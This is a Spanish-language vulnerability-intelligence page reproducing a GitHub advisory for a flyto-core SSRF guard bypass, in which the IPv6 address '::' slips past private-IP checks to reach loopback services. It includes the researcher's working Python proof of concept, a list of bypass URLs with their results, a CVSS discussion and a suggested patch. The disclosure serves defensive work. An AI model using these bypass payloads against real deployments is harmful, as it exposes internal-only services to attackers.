llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-GC4H-HJ7X-GP5P

SSRF guard bypass: the IPv6 unspecified address :: is not classified as private, reaching IPv6 loopback via http.get/http.request/http.batch

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición99 dDesde la divulgación, 12 ago 2026, 8:20 p. m.
Detección97 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.28.0
Monitoreo
Detectada +1
13 ago 26
18 nov 26
20 nov 26
13 ago 26
6 sept 26
1 oct 26
26 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GC4H-HJ7X-GP5P divulgada · CVSS 7.7 (GitHub)
Remediación Parche 2.28.0 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`is_private_ip` classifies addresses against the hand-maintained `PRIVATE_IP_RANGES` list. That list carries `::1/128` but not `::/128`, so `is_private_ip('::')` returns `False`. `BLOCKED_HOSTNAMES` lists `0.0.0.0` but not `::`, and `_extract_embedded_ipv4` excludes the all-zeros case by design, so no layer catches it.

The kernel routes a connect to `::` to loopback, exactly as it does `0.0.0.0` on IPv4. `http://[::]:8080/` therefore passes validation, reaches a service bound to IPv6 loopback, and returns its response body to the caller.

Tested against 2.27.0.

Details

The IPv4 form is blocked twice; the IPv6 form is on neither list

`src/core/utils.py:304`

PRIVATE_IP_RANGES = [
    ipaddress.ip_network('10.0.0.0/8'),        # RFC 1918 Class A
    ...
    ipaddress.ip_network('127.0.0.0/8'),       # Loopback
    ipaddress.ip_network('169.254.0.0/16'),    # Link-local
    ipaddress.ip_network('0.0.0.0/8'),         # Current network   <-- IPv4 covered
    ...
    # IPv6
    ipaddress.ip_network('::1/128'),           # Loopback
    ipaddress.ip_network('fc00::/7'),          # Unique local
    ipaddress.ip_network('fe80::/10'),         # Link-local
    ipaddress.ip_network('ff00::/8'),          # Multicast
]                                              # <-- no ::/128

`src/core/utils.py:327`

BLOCKED_HOSTNAMES = {
    'localhost',
    'localhost.localdomain',
    '127.0.0.1',
    '::1',
    '0.0.0.0',                                 # <-- no '::'
    'metadata.google.internal',
    '169.254.169.254',
    'metadata.internal',
}
The transition-address unwrapper skips it deliberately

`_extract_embedded_ipv4` is what makes `::ffff:127.0.0.1`, `2002:7f00:1::` and `64:ff9b::a9fe:a9fe` all resolve to a blocked IPv4. The IPv4-compatible branch excludes `::` and `::1` explicitly — correct in its own terms, since neither carries a meaningful embedded IPv4, but it means `::` leaves the function as `None` and is never range-checked as anything else.

`src/core/utils.py:383`

    # IPv4-compatible ::a.b.c.d (deprecated), excluding :: and ::1
    if raw[:12] == bytes(12) and raw[12:] not in (bytes(4), b'\x00\x00\x00\x01'):
        return ipaddress.IPv4Address(raw[-4:])
    return None
So the predicate returns False

`src/core/utils.py:404`

    try:
        ip = ipaddress.ip_address(ip_str)
    except ValueError:
        return True                            # fails closed — good
    candidates = [ip]
    embedded = _extract_embedded_ipv4(ip)      # None for '::'
    if embedded is not None:
        candidates.append(embedded)
    for candidate in candidates:
        for network in PRIVATE_IP_RANGES:      # '::' matches nothing
            if candidate.version == network.version and candidate in network:
                return True
    return False

Which is what the final gate in `validate_url_ssrf` consumes, so the URL is returned as valid.

`src/core/utils.py:586`

    if not resolved_ips:
        raise SSRFError(f"DNS resolution produced no addresses for {hostname}")
    for ip in resolved_ips:
        if is_private_ip(ip):
            raise SSRFError(
                f"URL resolves to private IP: {hostname} -> {ip}. "
                f"Use 'allowed_hosts' to enable controlled private access."
            )

    return url

`getaddrinfo('::')` returns `['::']`, so `resolved_ips` is non-empty and every element passes.

Reachability

The URL is a caller-supplied module parameter and flows to the guard unmodified.

`src/core/modules/atomic/http/get.py:99`

    url = params.get('url')
    if not url:
        raise ValidationError("Missing required parameter: url", field="url")
    ...
            validate_url_with_env_config(url)
        except SSRFError as e:
            logger.warning(f"SSRF protection blocked GET to: {url}")
            raise NetworkError(str(e), url=url, status_code=0)
    ...
        async with guarded_client_session(timeout=timeout) as session:
            response = await guarded_aiohttp_request(
                session, 'GET', url, headers=headers, ssl=ssl_param)

`validate_url_with_env_config` is a thin wrapper — `return validate_url_ssrf(url, **config)` at `utils.py:730`. `http.request` and `http.batch` gate identically.

The GHSA-c9hr-64h3-gxpc hardening does not help here

The per-hop redirect revalidation calls the same predicate, so a `302 Location: http://[::]:8080/` is accepted at the hop check as readily as at the initial check.

`src/core/utils.py:900`

    guard = ssrf_protection_enabled()
    if guard:
        validate_url_with_env_config(url)
    method = method.upper()
    for hop in range(max_redirects + 1):
        response = await session.request(method, url, allow_redirects=False, **kwargs)
        location = response.headers.get('Location')
        if response.status in _REDIRECT_STATUSES and location and hop < max_redirects:
            response.release()
            url = urljoin(url, location)
            if guard:
                validate_url_with_env_config(url)  # same predicate, same gap

Stated as a code-path consequence, not a separately executed test — the demonstration below exercises the initial-URL path. The same applies to `ssrf_guarded_connector`: pinning the address the guard approved preserves the bypass rather than closing it.

PoC

A marker service is bound to `[::1]:8080`, reachable over no public route. The two forms the guard exists to reject are included as controls, so the differential is visible in a single run. Port 8080 is used because `DEFAULT_ALLOWED_PORTS` would otherwise reject the request on port grounds and mask the result.

import asyncio, http.server, socket, socketserver, threading

PORT = 8080
MARKER = b"INTERNAL-ONLY-SERVICE: flag{loopback_reached_via_ipv6_unspecified}"

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Length", str(len(MARKER)))
        self.end_headers()
        self.wfile.write(MARKER)
    def log_message(self, *a): pass

class V6Server(socketserver.TCPServer):
    """Bound to IPv6 loopback only — unreachable from any public route."""
    address_family = socket.AF_INET6
    allow_reuse_address = True

async def main():
    from core.modules.atomic.http.get import http_get

    srv = V6Server(("::1", PORT), Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()

    for url in (f"http://[::1]:{PORT}/",        # control
                f"http://127.0.0.1:{PORT}/",    # control
                f"http://[::]:{PORT}/"):        # payload
        try:
            r = await http_get({"url": url}, {}).run()
            print(f"  {url:24} -> {str(r.get('data') or r)[:160]}")
        except Exception as e:
            print(f"  {url:24} -> blocked ({type(e).__name__}): {str(e)[:90]}")
    srv.shutdown()

asyncio.run(main())

Output:

[+] internal service on [::1]:8080 (IPv6 loopback only)

  http://[::1]:8080/       -> blocked (Exception): Module http.get failed after 3
                              attempts: [NETWORK_ERROR] Hostname blocked: ::1
  http://127.0.0.1:8080/   -> blocked (Exception): Module http.get failed after 3
                              attempts: [NETWORK_ERROR] Hostname blocked: 127.0.0.1
  http://[::]:8080/        -> BYPASS: {'status': 200, 'body':
                              'INTERNAL-ONLY-SERVICE: flag{loopback_reached_via_ipv6_unspecified}',
                              'headers': {'Server': 'BaseHTTP/0.6 Python/3.10.4', ...}}

At the guard level, every neighbouring encoding is correctly rejected. Only the unspecified form passes:

http://[::]:8080/                 PASS
http://[::]/                      PASS
http://[0:0:0:0:0:0:0:0]:8080/    PASS
http://[::ffff:127.0.0.1]/        blocked
http://0.0.0.0:8080/              blocked
http://[64:ff9b::a9fe:a9fe]/      blocked
http://169.254.169.254/           blocked

And the routing premise, verified rather than assumed — a raw connect to each address with the marker service bound to `::`:

::1                  -> connected, resp=b'HTTP/1.0 200 OK\r\nSer'
::                   -> connected, resp=b'HTTP/1.0 200 OK\r\nSer'
::ffff:0:7f00:1      -> TimeoutError: timed out

Impact

An attacker who controls the `url` parameter reaches services on the host running flyto-core that are bound to IPv6 loopback and otherwise unreachable, and receives their response bodies. Preventing exactly this is the guard's stated purpose.

What this is not:

  • Not a credential-theft path. `::` reaches the local host, not arbitrary internal hosts. Cloud metadata at `169.254.169.254` is IPv4-only and stays out of reach.
  • Not arbitrary ports. `DEFAULT_ALLOWED_PORTS` still applies — 80, 443, 8080 and 8443 only.
  • Not IPv4 loopback. A service bound only to `127.0.0.1` is unaffected; the target must listen on `::1` or `::`.

Two defensible scorings follow, differing only on whether reading an internal-only service is high confidentiality impact. Your own scoring of CVE-2026-67424, same component, is the anchor:

| Reading | Vector | Score |
|---|---|---|
| Consistent with the anchor, no write impact (GET) | `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | 7.7 High |
| Conservative — loopback-only reach as C:L | `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` | 5.0 Medium |
| *Anchor:* CVE-2026-67424 | `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N` | 8.5 High |

Unlike the DNS-rebinding class of bypass, this one is `AC:L` — deterministic, with no race against a rebinding resolver. I have submitted the first vector; the conservative reading is offered openly in case you score it that way.

Suggested fix

The general form covers both address families in one predicate and needs no new range entry:

     try:
         ip = ipaddress.ip_address(ip_str)
     except ValueError:
         return True
+    # 0.0.0.0 and :: are both routed to loopback by the stack.
+    if ip.is_unspecified:
+        return True
     candidates = [ip]
     embedded = _extract_embedded_ipv4(ip)

If the range list is preferred for symmetry with how `0.0.0.0` is handled today, the equivalent is two entries:

     PRIVATE_IP_RANGES = [
         ...
         ipaddress.ip_network('::1/128'),           # Loopback
+        ipaddress.ip_network('::/128'),            # Unspecified
     ]

     BLOCKED_HOSTNAMES = {
         ...
         '0.0.0.0',
+        '::',
     }

A regression test in the shape of the existing `tests/core/test_ssrf_ipv6_transition.py` would sit naturally alongside the transition-form cases, which already cover the neighbours.

Appendix — variants tested, not exploitable

Recorded so triage does not have to repeat it. Two forms pass validation but are not routable, and are therefore not being reported as vulnerabilities:

form                         guard      resolves / routes to
0177.0.0.1        (octal)    PASS       177.0.0.1 — classification correct
::ffff:0:127.0.0.1           PASS       ::ffff:0:7f00:1 — connect times out
2130706433      (decimal)    blocked    127.0.0.1
[2002:7f00:1::]     (6to4)   blocked    embedded IPv4 unwrapped
localhost.    (trailing .)   blocked    normalised before lookup
LOCALHOST           (case)   blocked    lowercased before lookup
[fe80::1%lo0]       (zone)   blocked    fe80::/10
http:/127.0.0.1/  (parser)   blocked    rejected at scheme parse

`_host_in_allowlist` was also checked for suffix confusion — `evil-corp.com` against an allowlisted `corp.com` — and matches exactly or by explicit `*.` wildcard, not by suffix.

---

Reported under coordinated disclosure. No public write-up, proof-of-concept repository or other disclosure will be published before the advisory is, or before you confirm you do not intend to publish one. Happy to open a PR against a private fork with the fix and the regression test if that is useful.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.27.0
2.27.0
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.28.0 0 d 2.41.0 no afectada
Versiones corregidas2.28.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-gc4h-hj7x-gp5p

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.